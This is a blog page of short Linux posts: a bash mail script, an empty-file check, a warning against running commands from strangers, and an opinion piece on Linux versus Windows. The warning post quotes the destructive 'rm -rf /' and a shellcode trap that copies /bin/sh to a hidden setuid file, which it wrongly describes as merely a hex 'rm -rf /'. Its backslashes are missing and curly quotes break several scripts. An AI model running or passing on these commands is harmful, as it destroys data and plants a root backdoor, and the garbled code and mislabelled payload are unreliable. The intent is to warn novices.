Simple bash mail script
If you want to automate something on any Unix based servers and want to send you email in the bash script, here is the simple one.
#!/bin/bash
FROM="from_address@example.com"
TO=”to_address@example.com”
SUBJECT="Test Subject”
EMAILMESSAGE=”Test Message”
…
/bin/mail -s "$SUBJECT" "$TO" < $EMAILMESSAGE — -f $FROM
I hope this script will be helpful for you and feel free to leave a comment if you need any help.
How to check if the file is empty by using bash script
Here’s the simple script to check if the file is empty by using bash shell.
#!/bin/bash
TEMPFILE=”$REPORTPATH/testfile”
if [ -s $TEMPFILE ]; then
echo “File is not empty”
else
echo “File is empty”
fi
Of course you can substitute anything you desire in those echo lines.
The Dark side of Linux
Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.
If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.
The most dangerous command for novice users is
rm -rf /
This command will forcefully delete all the files inside the root and all sub directories.
Another one, this one could even fool experienced linux users.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.
So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.
Why don’t I use Linux
Most people ask me why don’t I blog about Linux anything at all? I don’t know Linux or why? Okay, I will refer to this one of PC world user responds:
Linux versus Windows XP Don’t make me laugh! Like your writer, I took a long look at one of the latest versions of Linux (Red Hat Linux 9 in my case). The OS installed nicely, but it took me no less than 1.5 hours to get online with my dial-up connection–after 2 hours of getting my modem configured. Installing software? Don’t look for the .zip files you may be used to, and once you get downloaded files unpacked, don’t expect them to set up painlessly the way Windows apps do.
After two weeks of this nonsense, I went back to Windows XP. I’ll take its ease of use and hardware compatibility any time.
Yeah, that feedback goes almost the same for me, except for the fact that I have tried many Linux distros not just Red Hat Linux 9. You don’t have to believe me, you can try yourself.
Recent Posts
Recent Comments
- robost on How to install Vista bubble screen saver in Win XP
- Rick on Paint can create ico files
- Oliverdejohnson on Paint can create ico files
- Johnson Jones on Paint can create ico files
- Hussain on How to install fonts without admin right
Tags
Archives
- December 2011
- November 2011
- October 2011
- September 2011
- August 2011
- November 2009
- July 2009
- May 2009
- April 2009
- January 2009
- October 2008
- September 2008
- August 2008
- February 2008
- January 2008
- December 2007
- November 2007
- October 2007
- September 2007
- August 2007
- July 2007
- June 2007
- November 2006
- February 2006
- January 2006
- December 2005


